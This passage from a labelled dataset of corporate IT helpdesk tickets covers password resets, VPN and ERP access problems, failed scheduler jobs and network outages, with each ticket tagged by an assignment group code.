users are affected.",GRP_4 +"laptop not use audio _x000D_ +_x000D_ +received from: yjwivxsh.fcetobrj@gmail.com_x000D_ +_x000D_ +dear it team_x000D_ +_x000D_ +my laptop can't use audio file and not sound._x000D_ +_x000D_ +best ",GRP_0 +"erp is slow for few users at poland office. erp is slow for few users at poland office._x000D_ +not all users impacted.",GRP_0 +"network problems (multiple applications are running slow) how did you determine there are network problems ? all system are very slowly_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) no_x000D_ +_x000D_ +are more than one transactions impacted? yes_x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) ? apo-server, EU_tool server etc._x000D_ +_x000D_ +do other co-workers also notice slow response times ? yes, many colleagues in plant_228_x000D_ +_x000D_ +what other applications are running slow ? EU_tool, erp, print drawings, create delivery notes, EU_tool _x000D_ +_x000D_ +",GRP_59 +"job Job_2645 failed in job_scheduler at: 09/16/2016 03:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/16/2016 03:25:00",GRP_6 +"cannot syncronize outlook appointments to crm _x000D_ +_x000D_ +received from: lzycofut.mzbovhpd@gmail.com_x000D_ +_x000D_ +dear it help team,_x000D_ +_x000D_ +hi._x000D_ +_x000D_ +i cannot synchronize appointments nor press anything from outlook crm tag like attached picture below._x000D_ +_x000D_ +please help me out._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35036.5992ff90]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"foreign trade data missing in the inwarehouse_tool inwarehouse_tool 0159130578 was blocked in the system for foreign data were missing in item 20 and 30. after first analysis, infos were available in mm 03 for both concerned materials- inwarehouse_tool is now completed but could you check what happened in order to avoid futur issues (was material correctly entered in mm03, any steps missing ? was there a erp incident that leads to this issue ?...)",GRP_13 +"question hello bobhyb, +sorry, i don't know more than this. +i am copying this to help team, if they could help you further. + + +",GRP_13 +"vpn access issue hello team, + +yvhlenaz ptuqhrwk (on cc) cannot connect to vpn. + +he can access to +but once he tries to connect vpn, small window (below pictures) shows up shortly and disconnected. +(second picture says ""discconect"") + + + +i checked device manager, but i could not find ""other devices"" in his pc. +other network adapters have lauacyltoe hxgaycze drivers. + + +please give us your advice. + +∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ +xmgptwho fmcxikqz k.k. +浅野 健 / takheghshi afefsano +∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞∞ +",GRP_0 +"password blocked + +received from: wrelsfqa.qfwosjkh@gmail.com + +good morning + +please can you unblock user nieghjyukea. we tried using password_management_tool id password manager, but it does not want to work. she cannot get into the system at all. + +kind ",GRP_0 +"user tuzkadxv rxloutpn cannot use the ""run report"" hello team,_x000D_ +_x000D_ +user tuzkadxv rxloutpn is trying to use the ""run report"" functionality in the opportstorage_product => opportstorage_product report, which is a 1-page summary of the opportstorage_product, but it does not return any data for him, just a blank screen. . i could not find out why it is happening. _x000D_ +could you help me how to troubleshoot in this matheywter?_x000D_ +_x000D_ +the screenshot is taken by me, not the user, just to illustrate which functionality i am talking about. i do not have a screenshot from the user yet, but it is not workng for him on ny of his opportunities. _x000D_ +_x000D_ +",GRP_40 +"job Job_1332 failed in job_scheduler at: 09/16/2016 02:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1332 failed in job_scheduler at: 09/16/2016 02:46:00",GRP_9 +"job Job_3049 failed in job_scheduler at: 09/16/2016 02:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +193ftp error: put zmm_bestand_stl.dat_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 09/16/2016 02:16:00",GRP_8 +"not able to access -inq industrial (-inq.industrial@company.com) _x000D_ +_x000D_ +received from: muqdlobv.qflsdahg@gmail.com_x000D_ +_x000D_ +team,_x000D_ +_x000D_ +i am not able access to -inq industrial (-inq.industrial@company.com) for which we receive enquiries about special products._x000D_ +from past one week above mentioned shared email box is not functioning for me, whereas other members are able to access the same._x000D_ +so i kindly request you to take it upon high priority and confirm back._x000D_ +_x000D_ +",GRP_0 +carrier information lost when bulk indicator is removed and multiple line delivery can't be processed in kis – carrier ip ship method information is lost when bulk shipment indicator is removed and multiple line delivery can't be processed in kis – carrier ipd,GRP_18 +"telephony_software break down when shutdown the computer yesterday, the windows update wasload. i could not stop the update._x000D_ +so telephony_software must be fixed. _x000D_ +see these informations:_x000D_ +_x000D_ +all,_x000D_ +we have been identifying the update which is causing the issue._x000D_ +when updating your computer disable kb4283716 from the lists with updates._x000D_ +_x000D_ +in case it happened anyway, have it to remove it._x000D_ +_x000D_ +urvitans laqdwvgo_x000D_ +cec analyst operational excellence emea _x000D_ +_x000D_ +",GRP_0 +"network outage: usa: site hard down since at 1:13 am et on 09/16. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______1:13 am et on 09/16._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ________ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +"gtehdnyushot kennconnect problem _x000D_ +_x000D_ +received from: dxnskvbm.xbaswghy@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +i changed my password yesterday._x000D_ +i can open kennconnect & log in but things have changed :_x000D_ +my favorites dierppeared ._x000D_ +it asks to input customer but «customer s search » does not work ._x000D_ +opening favorites, it says to call helpdesk ._x000D_ +_x000D_ +please call aerp so i am able to work today ._x000D_ +_x000D_ +_x000D_ +[gtehdnyushot capture]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"milano,italy: duplex mismatch gi2/0/1 on 1811 router and gi0/0/1 on 4331 router. see discription for more info. duplex mismatch: duplex mode on interface gigabitethernet2/0/1 · uplink to company-eu-ita-milano-dmvpn-1811-rtr01 on company-eu-ita-milan-g12-3750-core-stack-sw01.company.com is half. check duplex configuration on both end devices of the link and make sure the duplex mode matches._x000D_ +_x000D_ +duplex mismatch: duplex mode on interface gigabitethernet0/0/1 · "" connection to lan "" on company-eu-ita-milano-dmvpn-4331-rtr01.company.com is full. check duplex configuration on both end devices of the link and make sure the duplex mode matches._x000D_ +",GRP_4 +"urgent! mm 2122084 // dn 9169293441 //pt. indonesia pratma _x000D_ +_x000D_ +received from: aqrhwjgo.cyelqkvs@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +could you please check and advise from where cost on the attached shipping inwarehouse_tool is? as per standard cost, it is only usd 0.04 per piece but it is deusad on shipping document sgd 67.89 (usd 49.55). this matheywter effects a customer to pay high cost of import duty._x000D_ +_x000D_ +best ",GRP_18 +"unable to connect vpn at home. _x000D_ +_x000D_ +received from: qmkpsbgl.zfovlrah@gmail.com_x000D_ +_x000D_ +hello company help,_x000D_ +_x000D_ +could you please check my laptop settings because i am getting inconsistent company vpn connection at home ?_x000D_ +_x000D_ +",GRP_0 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/15/2016 23:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/15/2016 23:33:00",GRP_8 +"erp locked _x000D_ +_x000D_ +received from: xosycftu.olhpmsdw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +my erp is locked._x000D_ +please unlock._x000D_ +i used password_management_tool password manager to unlock my account._x000D_ +i can use vpn, but can not log in erp_x000D_ +_x000D_ +",GRP_0 +not able to connect to the erp not able to connect to the erp ,GRP_0 +"job Job_3052 failed in job_scheduler at: 09/15/2016 22:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +193ftp connection error to system HostName_514 _x000D_ +_x000D_ +job Job_3052 failed in job_scheduler at: 09/15/2016 22:09:00",GRP_8 +unable to submit reports in engineering tool. unable to submit reports in engineering tool. please refer to the screenshots.,GRP_25 +"outlook has stopped working _x000D_ +_x000D_ +received from: gzqijaoc.rfywvloa@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need your help aerp_x000D_ +outlook has stopped working in pc._x000D_ +_x000D_ +",GRP_0 +"cant open photos from iphone _x000D_ +_x000D_ +received from: eylqgodm.ybqkwiam@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01SID_35008.716912e0]_x000D_ +_x000D_ +best ",GRP_0 +"job SID_39hotf failed in job_scheduler at: 09/15/2016 20:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39hotf failed in job_scheduler at: 09/15/2016 20:07:00",GRP_5 +"dell 7350: skype audio not working dell 7350: skype audio not working._x000D_ +-connected to the user system using teamviewer._x000D_ +-updated the bios on the user system._x000D_ +-restarted the system._x000D_ +-skype audio is now working (uacyltoe hxgaycze call with user_x000D_ +-will call the user back tomorrow and check on the issue._x000D_ +_x000D_ +",GRP_0 +"job bk_hana_SID_62_arc_dp failed in job_scheduler at: 09/15/2016 19:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_arc_dp failed in job_scheduler at: 09/15/2016 19:28:00",GRP_8 +"login issue _x000D_ +login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"user unable to login to the pc. user unable to login to the pc._x000D_ +-checked ad and infotrmed user account is not locked._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +distributor_tool login issue distributor_tool login issue,GRP_0 +"what is the collaboration_platform link? name:grtaoivq dwjvfkqe +language: +browser:microsoft internet explorer +email:grtaoivq.dwjvfkqe@gmail.com +customer number: +telephone: +summary:what is the collaboration_platform link?",GRP_0 +password reset request password reset request,GRP_0 +"create express stock transiit for mm 7234728 order 35023051 cnc art hi it, _x000D_ +can you please help check why, i don't see any error on our side. ",GRP_18 +"user is trying to install the software on a customer pc. user is trying to install the software on a customer pc. +-connected to the user system using teamviewer. +-user able to login to the distributor_tool and go to engineering_tool tab to install the software. +-unable to install the software on the user system. +-customer email id: smitctdrhell@ims.supply +-c#:",GRP_25 +password reset password reset ,GRP_0 +jvshydix rzpmnylt : general query jvshydix rzpmnylt : general query ,GRP_0 +"mm02: when grade changed on material, engineering tool is not validated if 'save/delete' is selected when mm02 is used to change the grade on a rqfhiong zkwfqagb logic executes that verifies if the engineering tool is valid for the new grade. this is working correctly if 'save' is selected on the catalog id/ grade screen. if 'save/delete' is selected the logic is not working and invalid engineering tool values are being left on rqfhiong zkwfqagbs. _x000D_ +_x000D_ +this is affecting all users not just one. logic needs corrected for 'save/ delete'",GRP_20 +password reset alert from o365 password reset alert from o365,GRP_0 +user wanted to speak to some one in usa and asked for jashyht contact # user wanted to speak to some one in usa and asked for jashyht contact # ,GRP_0 +unable to log in to skype unable to log in to skype,GRP_0 +sto for notion order //mm 3493130 sto for notion order //mm 3493130,GRP_29 +ticket update on inplant_860558 ticket update on inplant_860558,GRP_0 +cant connect to erp : vpn issue cant connect to erp : vpn issue ,GRP_0 +i am getting this error when trying to open a hana file. can you help? erp excel add in issue.,GRP_9 + the terminate action for mdulwthb sldowapb has completed. the terminate action for mdulwthb sldowapb has completed.,GRP_2 +erp log in issue erp log in issue,GRP_0 +"usa plant power outage saturday 9/17/16 6:30am - 2:00pm _x000D_ +_x000D_ +received from: ekjobdiz.ktelzwvg@gmail.com_x000D_ +_x000D_ +everyone,_x000D_ + the power will be off to the whole usa manufacturing plant on saturday, 9/17/16 from 6:30am until 2:00pm. the generator should keep the computer room running. switches located in remote network closets will drop and turn back on when the power resumes._x000D_ +_x000D_ +_x000D_ +",GRP_0 +called to unlock ad account for user qcxivzag vyucbagx called to unlock ad account for user qcxivzag vyucbagx,GRP_0 +"dell 7350: system very slow.mscrm slow. dell 7350: system very slow. +-connected to the user system using teamviewer. +-cleared the cache, cookies, temp files. +-updated the symantec on the user. +-updated the system bios. +-restarted the pc. +-advised the user to try again and check. +--user launched mscrm and its was working fine. +-issue resolved. +-c: + ",GRP_0 +unable to submit expense report unable to submit expense report,GRP_0 +change skirtylset percentages change skirtylset percentages effective 9/19/2016. see list attached ,GRP_7 +printer setrup id01 printer setup,GRP_19 +printer driver update printer driver update,GRP_0 +blank call blank call,GRP_0 +outlook not getting connected. outlook not getting connected.,GRP_0 +audio not working : driver issue audio not working : driver issue ,GRP_0 +windows accout lockout windows accout lockout,GRP_0 +"incorrect vendor in po extract can you please do me a favor and check the po extract file for po 5616741012 and check which vendor has been assigned._x000D_ +_x000D_ +this is because the po is assigned to vendor 2111220700 in erp, but rr shows vendor 2111100659. see attachment for screen prints._x000D_ +",GRP_6 +reisekosten error reisekosten error,GRP_0 +"network outage :south amerirtca site is hard down at 11:50 am et on 09/15. no backup circuit at the site. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________11:50 am et on 09/15______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"ethics issue. _x000D_ +_x000D_ +received from: fmzdkyqv.dbrslnhe@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i still cannot access the beec module, see message below – please correct – ",GRP_23 +not able to apply job in company portal in : external user not able to apply job in company portal in : external user ,GRP_0 +"working from home, connection to vpn gets disconnected i continue to get disconnected from vpn and have to reconnect multiple times a day",GRP_0 +reset password user zigioachstyac- SID_1 reset password user zigioachstyac- SID_1,GRP_0 +"procenter login credential for new joiners please create procenter login credential for below new joiners. + +name:vijghyduhprga yeghrrajghodu +user id:yerrav +--------------------------------------------------- +name:ulezhxfw kslocjtaaruthapandian +user id:karhjuyutk + +",GRP_37 +how to add members to distribution groups how to add members to distribution groups,GRP_0 +"skype issues _x000D_ +_x000D_ +received from: wauhocsk.vxuikqaf@gmail.com_x000D_ +_x000D_ +hallo my friends_x000D_ +_x000D_ +i have changed password today. there was no ""problem"" message coming out after the password change. everything was gtehdnyu and saying ok – password successfully changed_x000D_ +_x000D_ +now from some reasons i am not able to log in to skype for business. it is showing me following_x000D_ +_x000D_ +please let me know what should i do_x000D_ +_x000D_ +",GRP_0 +call from vitalyst : error : no sections to display. note that section in a group aren't supported. one note issue error : no sections to display. note that section in a group aren't supported.,GRP_22 +"re: ticket_no1551649: change ansi and iso no. _x000D_ +_x000D_ +received from: stdiondwd.rawdwu@company.com_x000D_ +_x000D_ +closed the ticket!_x000D_ +_x000D_ +_x000D_ +",GRP_2 +ticket update on ticket_no0439844 spam mails coming in to the inbox,GRP_0 +"aw: ticket_no1551649: change ansi and iso no. + +received from: cbupnjzo.daflthkw@gmail.com + +hello sudghhahjkkar, +would you please close this ticket. +at this moment i tried to change the ansi and iso no. and it worked very well. + +please excuse the inconvenience and ",GRP_2 +"change in ethics _x000D_ +_x000D_ +received from: lhejbwkc.xbmyvnqf@gmail.com_x000D_ +_x000D_ +dear all_x000D_ +_x000D_ +had a change from company to company e-mail seems that this is now creating problems with our ethnics site:_x000D_ +_x000D_ +welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp._x000D_ +_x000D_ +please make sure that i can access again._x000D_ +_x000D_ +",GRP_2 +outlook not launching outlook not launching,GRP_0 +"unable to submit the time card hi team,_x000D_ +_x000D_ +i am unable to submit the time card(attached is the screenshot). can you please help. ",GRP_36 +"outlook not updating _x000D_ +_x000D_ +received from: ivdntecr.cdasfpjb@gmail.com_x000D_ +_x000D_ +please see below error. my outlook is not updating and it is saying my password is wrong or won't connect to server. when i open the outlook programdnty i am asked to enter my credentials, but after doing so the server will not connect. i am currently using the web-based version of outlook on internet explorer._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:0abb054c-e7fe-4304-aeea-287a1733a874]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"rrc email boxes + +received from: iauqlrjk.nijdaukz@gmail.com + +good morning, + +i need to be added to a couple email boxes so i have access, can you please assist? + + + estfhycoastrrc@company.com + + estfhycoastrrc@company.com + +also muywpnof prtikusy is requesting to be the owner of these email addresses so he can add people to them when needed, is this possible? +",GRP_0 +vpn query vpn query ,GRP_34 +"network outage : israel, israel ( sales facility) is down on 09/13 at 8:23 am et. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______09/13 at 8:23 am et________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____no (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___no____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to log in to windows unable to log in to windows ,GRP_0 +"connect or share collaboration_platform from pc to collaboration_platform through company hub hello it personnel,_x000D_ +_x000D_ +i have used collaboration_platform 2013 saved to the local computer drive. i would like to connect my local collaboration_platform to the collaboration_platform accessed through the office software on collaboration_platform (company's hub). how do i connect the two locations?_x000D_ +_x000D_ +best ",GRP_16 +account locked out. account locked out.,GRP_0 +"wichtig: bitte netzwerke synchronisieren !! + +received from: nhsogrwy.qkxhbnvp@gmail.com + +hallo herr dwfiykeo argtxmvcumar, +hallo it help team, + +können sie bitte diese beiden netzwerke synchronisieren => sie müssen identisch sein!!! + +aktuell stimmen die daten nicht überein. + +[cid:image001.png@01d20f62.ebe809f0] + +vorab vielen dank! + +mit freundlichen grüßen + +mafghyrina güntner +specialist hr shared services +nhsogrwy.qkxhbnvp@gmail.com +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + + + +",GRP_12 +reset the password for tfsehruw dzrgpkyn on erp / produktion / erp reset the password for tfsehruw dzrgpkyn on erp / produktion / erp,GRP_0 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +interface: gigabitethernet1/0/47 · mtb gf wirelss ap on company-ap-ind-kirty-pu9-ff-2960s-stack-sw01.company.com is down interface: gigabitethernet1/0/47 · mtb gf wirelss ap on company-ap-ind-kirty-pu9-ff-2960s-stack-sw01.company.com is down ,GRP_4 +"skype - poor quality + +received from: azxhejvq.fyemlavd@gmail.com + +please open a ticket for me. i have been on a few skype calls recently where the quality was very poor. these calls were multinational with india or apac with participants in the us. the audio quality was so poor that we could not understand each other to the point that the meeting was almost a waste of time. also, the ability to broadcast powerpoint or erp screen images was bas as well were some of the participants of the meeting could not see the content again making the meetings a waste of our time. + +mikhghytr wafglhdrhjop +sr. manager, global ethics and compliance programdntys + + + + +",GRP_26 +"cannot log onto telephony_software cannot log onto telephony_software + +error message : authentication process failed + +telephone: ",GRP_7 +"laptop needs to be formatheywted from: sagfhosh karhtyiio +sent: thursday, september 15, 2016 6:00 am +to: hgwofcbx tnowikyv; gmrkisxy wgtcylir +cc: sridthshar herytur; ufpzergq zchjbfdehivashankaraiah +subject: re: it asset + +hi ghkkytu, + +as discussed please format the laptop this needs to be given to the new joiner vijuryat dgurhtya. + +i have assigned inc1551683 to your team for the same. + +",GRP_19 +"cannot connect to outlook or connect to exchange for skype, also have issue with com add in for excel repeat of same issue that i have had in the past. not able to connect to outlook. also, com add in is not staying available on excel file, i have to reselect it each time i open the file.",GRP_0 +"@5c\qerror@ 35019921rder# 35019921, material 7393495 @5c\qerror@ 3501992sartlgeo lhqksbdx0 ""create delivery"" not allowed (sys. status exls, object vb0035019921000010) @35\qlong text exists@ need to create a delivery_x000D_ +",GRP_13 +"can't log onto skype. changed password yesterday, won't recognize today can't log onto skype. changed password yesterday, won't recognize today",GRP_0 +"no folder access _x000D_ +_x000D_ +received from: nhsogrwy.qkxhbnvp@gmail.com_x000D_ +_x000D_ +team,_x000D_ +[cid:image001.png@01d20f3c.cb611f80] is not working._x000D_ +_x000D_ +please usa access for me._x000D_ +_x000D_ +",GRP_34 +"printer problem / issue information - reroute rn33 back. please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) _x000D_ + _x000D_ + • detailed description of the problem ? reroute rn33 back erp / has been fixed._x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls)_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_5 +"instalar docad eletronico user: olghiveii_x000D_ +_x000D_ +segue link_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_62 +"it - speker for skype conferences it - germany:_x000D_ +_x000D_ +skype speakers are required for confernece room 1 an the conference room behind the cantine._x000D_ +therefore michghytuael häcker confirmed to purchase the new two speakers._x000D_ +xvwchsdg pladjmxt suggested to go with one bigger speaker instead._x000D_ +please check the prices to allow michghytuael to compare both possibilities._x000D_ +_x000D_ +",GRP_33 +"user safghghga needs to reset her password hello! could you pls help me and create a new password for user id: safghghga (gabryltka sabhtyhiko)? +she blocked her computer and now she needs to access aerp. +please, contact me when you have done it. +",GRP_2 +"problem with crm leads + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +when i received a lead i tried to convert it into an opportstorage_product by qualifying it. when i did that i got an error. see below. please advise. + +[cid:image001.jpg@01d20f1e.cd84e580] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + + + +",GRP_15 +company iphone device activation company iphone device activation,GRP_0 +vip2: unable to get on the network vip2: unable to get on the network,GRP_0 +"printer rj0c on printer server HostName_1033 is not right for x64 printer adds to pc fine but when trying to print continuously prints characters and symbols and that's it. when used on a x86 pc from server HostName_769 it prints fine._x000D_ +printer is a laserjet 5si mx_x000D_ +_x000D_ +tim komar looked at this",GRP_12 +"can not get erp to issue deliveries for 4 sto's - truck scheduled to pick up at 10:00am today stock is available in erp but apparently not apo. please help to issue deliveries for 5019229515, 5019229528, 5019229548 & 5019229566 to return scrap powder to powder plants.",GRP_6 +the fitness center digital signage pc will not connect to the network to get updates. the fitness center digital signage pc will not connect to the network to get updates.,GRP_3 +unable to logon to erp unable to logon to erp,GRP_0 +"job SID_37hotf failed in job_scheduler at: 09/15/2016 07:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 09/15/2016 07:40:00",GRP_5 +reset password user zigioachstyac - SID_34 /SID_37 reset password user zigioachstyac - SID_34/SID_37,GRP_0 +"wg: zeichnung 5685567645 + +received from: dnwfhpyl.zqbldipk@gmail.com + +von: vgsqetbx wpkcbtjl +gesendet: donnerstag, 15. september 2016 10:41 +an: dnwfhpyl zqbldipk +betreff: zeichnung 5685567645 + + + +hallo, +ich habe wieder eine zeichnung 5685645 mit falsch aufgedruckter zeichnungsnummer bitte richtigstellen + + +mit freundlichen grüßen + +vgsqetbx wpkcbtjl +production planner +company produktions gmbh & co. kg +vgsqetbx.wpkcbtjl@gmail.com + +geschäftsführer: dr. jofghyuach fabry, harald männlein, rtnzvplq erhmuncq + +von: dnwfhpyl zqbldipk +gesendet: dienstag, 16. april 2013 09:50 +an: tfhzidnq wqpfdobe +cc: vgsqetbx wpkcbtjl; ksvqzmre yqnajdwh +betreff: aw: erp-plm: drawing with different drawing number + +hallo heighjtyich, + +ich bitte um entschuldigung wegen der falschen gdw drawing #. ein paar zeichnungen wurden 10 monate vor dem plm go-live versehentlich ein zweites mal umbenannt, nachdem sie schon konvertiert waren. die richtige plm nummer ist immer die rechts oben im druckstempel. + +auch das viele eurer gescannten zeichnungen nictafvwlpz opfigqramdntyatisch nach pdf konvertiert werden konnten tut mir leid. es wurden > 2.600.000 zeichnungen konvertiert und etwa 4000 davon machten probleme. ein paar hundert davon scheinen von euch zu sein. wir reparieren diese wie bisher bei bedarf. + +mit freundlichen grüßen / best ",GRP_11 +"not able to access email not able to access email._x000D_ +_x000D_ +itclukpe aimcfeko is his manager",GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"job SID_47arc2 failed in job_scheduler at: 09/15/2016 06:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_47arc2 failed in job_scheduler at: 09/15/2016 06:35:00",GRP_8 +"job SID_48arc1 failed in job_scheduler at: 09/15/2016 06:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_48arc1 failed in job_scheduler at: 09/15/2016 06:28:00",GRP_8 +"job SID_48arc2 failed in job_scheduler at: 09/15/2016 06:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_48arc2 failed in job_scheduler at: 09/15/2016 06:21:00",GRP_8 +"job SID_35arc2 failed in job_scheduler at: 09/15/2016 06:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_35arc2 failed in job_scheduler at: 09/15/2016 06:21:00",GRP_8 +vpn doesnt check for antivirus or company domain while connecting from outside network refer screenshot,GRP_2 +"job SID_37hotf failed in job_scheduler at: 09/15/2016 06:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 09/15/2016 06:14:00",GRP_5 +"system disk c: of server HostName_698 is full again _x000D_ +_x000D_ +received from: fbyusmxz.kxvmcbly@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +system disk c: of server HostName_698 is full again – please check._x000D_ +we had the same issue 3 weeks ago (ticket inc1543749)_x000D_ +it is the virtual center server._x000D_ +",GRP_12 +"reporting_tool: issues with daily sales and orders report. + +received from: plfwoagd.chtpiazu@gmail.com + +no reply from panjkytr. + +please create a case. + +what we need is a possibility to subscribe to a dedicated daily sales and orders report and to receive the mti data per email instead of the total industrial results (consisting of the combined results of tooling and mti). + + +mit freundlichen grugermany / best ",GRP_9 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"mr tmqfjard qzhgdoua, ordinary no. 100937, requires full access to the following EU_tool- modules: fyi + +von: axesnghb cyzuomxa +gesendet: donnerstag, 15. september 2016 10:19 +an: ughzilfm cfibdamq +cc: tmqfjard qzhgdoua +betreff: tmqfjard qzhgdoua : berechtigung für EU_tool- module + + +hallo herr bghakch, + + +herr tmqfjard qzhgdoua, stamm- nr. 100937, benötigt vollen zugriff auf folgende EU_tool- module : + +chargenverwaltung + +pulverleitstand + + + + +mit freundlichen grüßen + + preuß +supervisor rod production germany +axesnghb.cyzuomxa@gmail.com + +geschäftsführer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq +sitz/registered office: germany + +persönlich haftende gesellschafterin/general 